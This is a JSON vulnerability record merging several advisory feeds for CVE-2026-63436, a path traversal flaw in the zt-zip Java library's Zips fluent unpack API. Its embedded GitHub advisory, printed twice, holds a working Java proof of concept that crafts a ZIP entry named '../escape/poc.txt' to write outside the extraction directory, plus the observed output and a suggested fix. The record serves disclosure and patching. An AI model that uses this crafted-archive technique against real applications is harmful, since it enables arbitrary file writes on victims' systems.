{"id":"CVE-2026-63436","aliases":["EUVD-2026-116112","GHSA-52c6-99qm-3hqr"],"status":"published","title":"zt-zip: Path traversal in fluent API unpack","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00242,"percentile":0.15435,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-11-03T18:02:27Z","modified":"2026-11-09T19:15:11Z","fixes":[{"ecosystem":"Maven","package":"org.zeroturnaround:zt-zip","fixed_in":["1.18.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.zeroturnaround:zt-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.zeroturnaround:zt-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0"}]}],"versions":["1.10","1.11","1.12","1.13","1.14","1.15","1.16","1.17","1.4","1.5","1.6","1.7","1.8","1.9"]}],"products":[{"vendor":"zeroturnaround","product":"zt-zip"}],"references":[{"url":"https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-52c6-99qm-3hqr","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/zeroturnaround/zt-zip/pull/180","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/zeroturnaround/zt-zip/commit/59a76ad576b0fcd50ea018e3608afb946c1492fd","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63436","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-52c6-99qm-3hqr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63436.json","tags":["advisory"]},{"url":"https://github.com/zeroturnaround/zt-zip","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-63436","title":"zt-zip: Path traversal in fluent API unpack","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.","status":"published","published":"2026-11-03T18:02:27.18Z","modified":"2026-11-09T15:31:32.334Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T16:33:53.922525Z"}],"euvd":[{"id":"EUVD-2026-116112","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.","status":"published","published":"2026-11-03T18:02:27Z","modified":"2026-11-09T15:31:32Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"medium"}],"updated_at":"2026-11-09T21:18:12.337479Z"}],"ghsa":[{"id":"GHSA-52c6-99qm-3hqr","title":"zt-zip: Path traversal in fluent API unpack","description":"### Summary\n\n`ZipUtil.unpack(...)` rejects ZIP entries that escape the target output directory, but the `Zips` fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.\n\nA ZIP entry such as:\n\n```text\n../escape/poc.txt\n```\n\nis written outside the configured destination directory when processed with:\n\n```java\nZips.get(zip).unpack().destination(outputDir).process();\n```\n\nThe transformer branch is affected as well.\n\n### Tested Version\n\ncommit: 067935dca375500d3ff025aafcdf0e4283931b1a\n\n### Root Cause\n\nIn `src/main/java/org/zeroturnaround/zip/Zips.java`, `Zips.UnpackingCallback.process(...)` builds the output file directly from the ZIP entry name:\n\n```java\nString entryName = zipEntry.getName();\nFile file = new File(destination, entryName);\n```\n\nThe method then creates directories/files and copies content to that path:\n\n```java\nFileUtils.forceMkdir(file.getParentFile());\nfile.createNewFile();\nFileUtils.copy(in, file);\n```\n\nWhen a transformer is configured, the same `file` is passed to `transformIntoFile(...)`.\n\nThere does not appear to be a canonical path check before these filesystem writes, so `../` entries can resolve outside `destination`.\n\n### Minimal Reproduction\n\n```java\nimport java.io.*;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.*;\nimport java.util.zip.*;\n\nimport org.zeroturnaround.zip.ZipUtil;\nimport org.zeroturnaround.zip.Zips;\nimport org.zeroturnaround.zip.transform.ZipEntryTransformer;\n\npublic class ZipsTraversalPoc {\n  public static void main(String[] args) throws Exception {\n    Path work = Files.createTempDirectory(\"ztzip-zips-poc\");\n    Path zip = work.resolve(\"poc.zip\");\n    Path escaped = work.resolve(\"escape\").resolve(\"poc.txt\");\n    String entryName = \"../escape/poc.txt\";\n\n    Files.createDirectories(escaped.getParent());\n\n    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {\n      zos.putNextEntry(new ZipEntry(entryName));\n      zos.write(\"plain branch\\n\".getBytes(StandardCharsets.UTF_8));\n      zos.closeEntry();\n    }\n\n    Path zipUtilOut = work.resolve(\"ziputil-out\");\n    Files.createDirectories(zipUtilOut);\n    try {\n      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());\n      System.out.println(\"ZIPUTIL_REJECTED=false\");\n    }\n    catch (Throwable t) {\n      System.out.println(\"ZIPUTIL_REJECTED=\" + t.getClass().getName());\n    }\n    System.out.println(\"ZIPUTIL_ESCAPED_EXISTS=\" + Files.exists(escaped));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsOut = work.resolve(\"zips-out\");\n    Files.createDirectories(zipsOut);\n    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsOut.normalize()));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsTransformOut = work.resolve(\"zips-transform-out\");\n    Files.createDirectories(zipsTransformOut);\n    Zips.get(zip.toFile())\n        .unpack()\n        .destination(zipsTransformOut.toFile())\n        .addTransformer(entryName, new ZipEntryTransformer() {\n          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {\n            out.putNextEntry(new ZipEntry(entry.getName()));\n            out.write(\"transform branch\\n\".getBytes(StandardCharsets.UTF_8));\n            out.closeEntry();\n          }\n        })\n        .process();\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));\n  }\n}\n```\n\nObserved output:\n\n```text\nZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException\nZIPUTIL_ESCAPED_EXISTS=false\nZIPS_PLAIN_ESCAPED_EXISTS=true\nZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true\nZIPS_TRANSFORM_ESCAPED_EXISTS=true\nZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true\n```\n\n### Expected Behavior\n\n`Zips.get(zip).unpack().destination(outputDir).process()` should reject traversal entries or otherwise ensure that the resolved output path remains inside `outputDir`.\n\n### Impact\n\nApplications that unpack attacker-controlled ZIP files through the `Zips` fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.\n\n### Suggested Fix\n\nApply the same destination-boundary validation used by `ZipUtil.unpack(...)` before any filesystem write in `Zips.UnpackingCallback.process(...)`.\n\nFor example, compare canonical `Path` values before creating directories or files:\n\n```java\nfile.getCanonicalFile().toPath()\n    .startsWith(destination.getCanonicalFile().toPath())\n```\n\nRegression tests should cover both:\n\n```java\nZips.get(zip).unpack().destination(out).process();\nZips.get(zip).unpack().destination(out).addTransformer(...).process();","status":"published","published":"2026-11-09T18:47:27Z","modified":"2026-11-09T18:47:30Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T18:49:18.28684Z"}],"nvd":[{"id":"CVE-2026-63436","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.","status":"published","published":"2026-11-03T18:18:03.727Z","modified":"2026-11-12T20:04:52.377Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T18:15:13.699929Z"}],"osv":[{"id":"CVE-2026-63436","title":"zt-zip: Path traversal in fluent API unpack","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.","status":"published","published":"2026-11-03T18:02:27.18Z","modified":"2026-11-11T07:24:29.124691544Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-10T02:45:42.584685Z"},{"id":"GHSA-52c6-99qm-3hqr","title":"zt-zip: Path traversal in fluent API unpack","description":"### Summary\n\n`ZipUtil.unpack(...)` rejects ZIP entries that escape the target output directory, but the `Zips` fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.\n\nA ZIP entry such as:\n\n```text\n../escape/poc.txt\n```\n\nis written outside the configured destination directory when processed with:\n\n```java\nZips.get(zip).unpack().destination(outputDir).process();\n```\n\nThe transformer branch is affected as well.\n\n### Tested Version\n\ncommit: 067935dca375500d3ff025aafcdf0e4283931b1a\n\n### Root Cause\n\nIn `src/main/java/org/zeroturnaround/zip/Zips.java`, `Zips.UnpackingCallback.process(...)` builds the output file directly from the ZIP entry name:\n\n```java\nString entryName = zipEntry.getName();\nFile file = new File(destination, entryName);\n```\n\nThe method then creates directories/files and copies content to that path:\n\n```java\nFileUtils.forceMkdir(file.getParentFile());\nfile.createNewFile();\nFileUtils.copy(in, file);\n```\n\nWhen a transformer is configured, the same `file` is passed to `transformIntoFile(...)`.\n\nThere does not appear to be a canonical path check before these filesystem writes, so `../` entries can resolve outside `destination`.\n\n### Minimal Reproduction\n\n```java\nimport java.io.*;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.*;\nimport java.util.zip.*;\n\nimport org.zeroturnaround.zip.ZipUtil;\nimport org.zeroturnaround.zip.Zips;\nimport org.zeroturnaround.zip.transform.ZipEntryTransformer;\n\npublic class ZipsTraversalPoc {\n  public static void main(String[] args) throws Exception {\n    Path work = Files.createTempDirectory(\"ztzip-zips-poc\");\n    Path zip = work.resolve(\"poc.zip\");\n    Path escaped = work.resolve(\"escape\").resolve(\"poc.txt\");\n    String entryName = \"../escape/poc.txt\";\n\n    Files.createDirectories(escaped.getParent());\n\n    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {\n      zos.putNextEntry(new ZipEntry(entryName));\n      zos.write(\"plain branch\\n\".getBytes(StandardCharsets.UTF_8));\n      zos.closeEntry();\n    }\n\n    Path zipUtilOut = work.resolve(\"ziputil-out\");\n    Files.createDirectories(zipUtilOut);\n    try {\n      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());\n      System.out.println(\"ZIPUTIL_REJECTED=false\");\n    }\n    catch (Throwable t) {\n      System.out.println(\"ZIPUTIL_REJECTED=\" + t.getClass().getName());\n    }\n    System.out.println(\"ZIPUTIL_ESCAPED_EXISTS=\" + Files.exists(escaped));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsOut = work.resolve(\"zips-out\");\n    Files.createDirectories(zipsOut);\n    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsOut.normalize()));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsTransformOut = work.resolve(\"zips-transform-out\");\n    Files.createDirectories(zipsTransformOut);\n    Zips.get(zip.toFile())\n        .unpack()\n        .destination(zipsTransformOut.toFile())\n        .addTransformer(entryName, new ZipEntryTransformer() {\n          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {\n            out.putNextEntry(new ZipEntry(entry.getName()));\n            out.write(\"transform branch\\n\".getBytes(StandardCharsets.UTF_8));\n            out.closeEntry();\n          }\n        })\n        .process();\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));\n  }\n}\n```\n\nObserved output:\n\n```text\nZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException\nZIPUTIL_ESCAPED_EXISTS=false\nZIPS_PLAIN_ESCAPED_EXISTS=true\nZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true\nZIPS_TRANSFORM_ESCAPED_EXISTS=true\nZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true\n```\n\n### Expected Behavior\n\n`Zips.get(zip).unpack().destination(outputDir).process()` should reject traversal entries or otherwise ensure that the resolved output path remains inside `outputDir`.\n\n### Impact\n\nApplications that unpack attacker-controlled ZIP files through the `Zips` fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.\n\n### Suggested Fix\n\nApply the same destination-boundary validation used by `ZipUtil.unpack(...)` before any filesystem write in `Zips.UnpackingCallback.process(...)`.\n\nFor example, compare canonical `Path` values before creating directories or files:\n\n```java\nfile.getCanonicalFile().toPath()\n    .startsWith(destination.getCanonicalFile().toPath())\n```\n\nRegression tests should cover both:\n\n```java\nZips.get(zip).unpack().destination(out).process();\nZips.get(zip).unpack().destination(out).addTransformer(...).process();","status":"published","published":"2026-11-09T18:47:27Z","modified":"2026-11-09T19:15:11.575515741Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T19:38:09.278998Z"}]}}
